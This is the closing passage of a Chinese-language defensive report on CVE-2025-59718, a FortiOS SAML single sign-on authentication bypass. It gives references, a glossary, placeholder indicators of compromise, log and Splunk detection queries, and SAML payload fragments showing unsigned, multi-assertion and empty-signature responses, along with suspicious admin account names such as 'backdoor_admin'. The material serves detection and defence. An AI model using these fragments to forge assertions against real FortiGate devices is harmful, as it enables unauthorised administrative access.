FortiOS管理指南
https://docs.fortinet.com/document/fortigate/7.2.0/administration-guide
FortiOS升级工具
https://docs.fortinet.com/upgrade-tool
Fortinet技术支持
https://support.fortinet.com
SAML标准:
SAML 2.0核心规范
https://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf
SAML 2.0绑定规范
https://docs.oasis-open.org/security/saml/v2.0/saml-bindings-2.0-os.pdf
SAML 2.0配置文件
https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf
XML签名标准:
XML Signature Syntax and Processing
https://www.w3.org/TR/xmldsig-core/
XML Signature Best Practices
https://www.w3.org/TR/xmldsig-bestpractices/
OWASP资源:
SAML Security Cheat Sheet
https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html
Authentication Cheat Sheet
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
XML External Entity Prevention
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
CVE和漏洞数据库:
NVD - CVE-2025-59718
https://nvd.nist.gov/vuln/detail/CVE-2025-59718
MITRE CVE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-59718
CVE Details
https://www.cvedetails.com/cve/CVE-2025-59718
安全厂商分析:
Arctic Wolf Labs Report
https://arcticwolf.com/resources/blog/cve-2025-59718-and-cve-2025-59719/
SecurityWeek Analysis
https://www.securityweek.com/fortinet-patches-critical-authentication-bypass-vulnerabilities/
BleepingComputer Coverage
https://www.bleepingcomputer.com/news/security/fortinet-warns-of-critical-forticloud-sso-login-auth-bypass-flaws/
MITRE ATT&CK:
Initial Access
T1190: Exploit Public-Facing Application
Persistence
T1136: Create Account
Defense Evasion
T1562: Impair Defenses
SAML安全研究:
"On Breaking SAML: Be Whoever You Want to Be" (Somorovsky et al., 2012)
"How to Break XML Encryption" (Jager & Somorovsky, 2011)
"Your Software at My Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud" (Armando et al., 2013)
| 术语 | 全称/定义 |
|---|---|
| SAML | Security Assertion Markup Language - 用于交换认证和授权数据的XML标准 |
| SSO | Single Sign-On - 单点登录,允许用户使用一组凭证访问多个系统 |
| IdP | Identity Provider - 身份提供商,负责验证用户身份 |
| SP | Service Provider - 服务提供商,依赖IdP进行用户认证 |
| Assertion | SAML中包含用户身份和属性信息的声明 |
| XSW | XML Signature Wrapping - 签名包装攻击,一种绕过XML签名验证的技术 |
| ACS | Assertion Consumer Service - SAML服务提供商接收断言的端点 |
| XML DSig | XML Digital Signature - XML数字签名标准 |
| FortiCloud | Fortinet的云管理和服务平台 |
| CVSS | Common Vulnerability Scoring System - 通用漏洞评分系统 |
| CWE | Common Weakness Enumeration - 通用弱点枚举 |
| POC | Proof of Concept - 概念验证,证明漏洞可被利用的代码或方法 |
| MFA | Multi-Factor Authentication - 多因素认证 |
| HA | High Availability - 高可用性,FortiGate的冗余配置 |
| PSIRT | Product Security Incident Response Team - 产品安全事件响应团队 |
| SIEM | Security Information and Event Management - 安全信息和事件管理 |
| IDS/IPS | Intrusion Detection/Prevention System - 入侵检测/防御系统 |
| IOC | Indicator of Compromise - 妥协指标,用于识别安全事件的特征 |
| STIX | Structured Threat Information Expression - 结构化威胁信息表达 |
| WAF | Web Application Firewall - Web应用防火墙 |
| TLP | Traffic Light Protocol - 信息共享分类协议 |
可疑IP地址(示例):
# 已知攻击者IP
203.0.113.45
198.51.100.100
192.0.2.50
# 可疑扫描源
203.0.113.0/24
可疑域名:
fake-forticloud.com
fortigate-update.net
fortisso-login.com
forticloud-auth.net
User-Agent字符串:
python-requests/2.28.1
curl/7.81.0
Mozilla/5.0 (compatible; CVE-2025-59718-Scanner/1.0)
异常管理员账户:
[email protected]
backdoor_admin
service_account_new
emergency_access
temp_admin
异常SSH密钥指纹:
SHA256:AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKK
SHA256:1234567890abcdef1234567890abcdef
异常防火墙规则名称:
maintenance_rule
temp_access
debug_rule
emergency_rule
可疑活动模式:
非工作时间的SSO登录(00:00-06:00)
来自异常地理位置的登录
短时间内多次登录失败后成功
SSO登录后立即进行配置更改(< 5分钟)
创建新管理员账户
导出配置文件
修改防火墙策略
添加新的VPN用户
SAML载荷特征:
<!-- 未签名响应 -->
<samlp:Response>
<saml:Assertion>
<!-- 没有 <ds:Signature> -->
</saml:Assertion>
</samlp:Response>
<!-- 多个Assertion -->
<samlp:Response>
<saml:Assertion ID="a1">...</saml:Assertion>
<saml:Assertion ID="a2">...</saml:Assertion>
</samlp:Response>
<!-- 空签名 -->
<ds:Signature>
<ds:SignatureValue></ds:SignatureValue>
</ds:Signature>
FortiGate日志特征:
# 可疑SSO登录
type=event subtype=admin action=login method=sso status=success user=admin@* src=<unexpected_ip>
# SSO登录失败
type=event subtype=admin action=login method=sso status=failure
# 配置更改
type=event subtype=admin action=config
# 账户创建
type=event subtype=admin action=add
在SIEM中使用:
# Splunk示例
index=fortinet
| lookup cve_2025_59718_iocs.csv indicator as src OUTPUT ioc_type, severity
| where isnotnull(ioc_type)
| table _time, src, dst, user, ioc_type, severity, message
导出格式:
{
"iocs": [
{
"type": "ipv4",
"value": "203.0.113.45",
"description": "Known CVE-2025-59718 attacker IP",
"severity": "high",
"first_seen": "2025-12-12",
"source": "Arctic Wolf"
},
{
"type": "domain",
"value": "fake-forticloud.com",
"description": "Phishing domain mimicking FortiCloud",
"severity": "high",
"first_seen": "2025-12-13",
"source": "Internal Research"
}
]
}
结束语
安全研究的目的不是展示漏洞如何被滥用,而是帮助我们构建更安全的系统。通过深入理解CVE-2025-59718,我们学到了:
SAML安全的关键性
严格验证的重要性
纵深防御的必要性
持续监控的价值
快速响应的重要性
让我们将这些知识应用到实践中,为构建更安全的数字世界贡献力量。
Stay informed. Stay prepared. Stay secure.
文档结束